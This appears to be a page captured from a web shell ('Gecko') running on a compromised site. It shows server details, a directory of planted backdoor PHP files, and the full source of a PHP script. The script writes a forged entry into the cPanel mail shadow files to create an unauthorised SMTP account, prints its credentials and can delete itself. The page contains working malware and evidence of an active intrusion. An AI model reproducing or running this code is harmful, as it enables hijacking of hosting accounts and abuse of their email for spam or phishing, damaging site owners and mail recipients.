Gecko [ immigrationvisalawyers.org ]

Linux premium82.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
Server IP : 185.61.154.194 & Your IP : 216.73.216.196
Domains : Cant Read [ /etc/named.conf ]
User : evicodqw

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2025-07-10 08:55
1111111111	[ DIR ]	drwxr-xr-x	2025-07-08 10:22
2222222	[ DIR ]	drwxr-xr-x	2025-07-08 10:22
.htaccess	217 B	-rw-r--r--	2025-07-10 01:32
MuPlugin.php	1.24 KB	-rw-r--r--	2025-07-10 21:28
_Podt.php	390 B	-rw-r--r--	2025-07-10 11:00
asasx.php	377.89 KB	-rw-r--r--	2025-07-08 07:44
buy.php	1.4 KB	-rw-r--r--	2025-07-08 07:44
cloud.html	43.8 KB	-rw-r--r--	2025-07-11 03:20
content.php	98.06 KB	-rw-r--r--	2025-07-11 16:28
d.php	19 B	-rw-r--r--	2025-07-12 11:13
dim.txt	19 B	-rw-r--r--	2025-07-12 11:14
edit.php	5.93 KB	-rw-r--r--	2025-07-08 07:44
error_log	51.18 KB	-rw-r--r--	2025-07-11 16:30
godsend.php	8.82 KB	-rw-r--r--	2025-07-08 07:44
hiroshi.php	8.82 KB	-rw-r--r--	2025-07-08 07:44
index.php	8.87 KB	-rw-r--r--	2025-07-10 01:32
man.php	192.75 KB	-rw-r--r--	2025-07-11 03:20
massd.php	2.28 KB	-rw-r--r--	2025-07-12 11:12
ol.php	38.67 KB	-rw-r--r--	2025-07-11 03:20
php.ini	61 B	-rw-r--r--	2025-07-11 16:28
php.php	70.78 KB	-rw-r--r--	2025-07-11 03:20
ps.php	77.6 KB	-rw-r--r--	2025-07-10 23:36
psm.php	1.19 KB	-rw-r--r--	2025-07-11 03:20
readme.txt	7 B	-rw-r--r--	2025-07-11 03:20
robots.txt	333 B	-rw-r--r--	2025-07-10 01:32
s.php	105 B	-rw-r--r--	2025-07-11 03:20
sell.php	89.42 KB	-rw-r--r--	2025-07-11 03:20
shell.php	34.15 KB	-rw-r--r--	2025-07-11 03:20
shell20250630.php	38.67 KB	-rw-r--r--	2025-07-11 03:20
t.php	458 B	-rw-r--r--	2025-07-11 03:20
unzipper.php	11.99 KB	-rw-r--r--	2025-07-11 03:20
w3llstore.php	15.91 KB	-rw-r--r--	2025-07-11 03:20

Rename

<?php
	error_reporting(0);
	$_currUser = get_current_user();
	$_homePath = ["/home/", "/home1/", "/home2/", "/home3/", "/home4/", "/home5/", "/home6/", "/home7/", "/home8/", "/home9/", "/home10/"];
	$_this = 0;
	foreach($_homePath as $_home) {
		if(file_exists($_home . $_currUser)) {
			$_this++;
			if($_this > 0) {
				$_workHome = $_home;
				break;
			}
		}
	}
	$_cp = "$_workHome$_currUser/.cpanel";
	if (is_dir($_cp)) {
		$_currDomain = $_SERVER['HTTP_HOST'];
		if(strstr($_currDomain, 'www.')){
			$_currDomain = str_replace("www.","",$_currDomain);
		}else{
			$_currDomain = $_currDomain;
		}
		$_thispwd = "cracked.smtp" . mt_rand(100,999);
		$_pwd     = crypt($_thispwd, "$6$the3x$");
		mkdir("$_workHome$_currUser/etc/$_currDomain");
		$_smtp = 'chudsi:'.$_pwd.':16249:::::'."\n";
		$_shadow1 = "/home/$_currUser/etc/$_currDomain/shadow";
		$_shadow2 = "/home/$_currUser/etc/shadow";
		$_fo=fopen($_shadow1,"w");
		fwrite($_fo,$_smtp);
		$_fo2=fopen($_shadow2,"w");
		fwrite($_fo2,$_smtp);
		echo "$_currDomain|587|chudsi@$_currDomain|".$_thispwd;
	} else {
		echo "you think this is a fucking smtp addable website?";
	}
	if(isset($_GET["d"])) {
		unlink(__FILE__);
	}
?>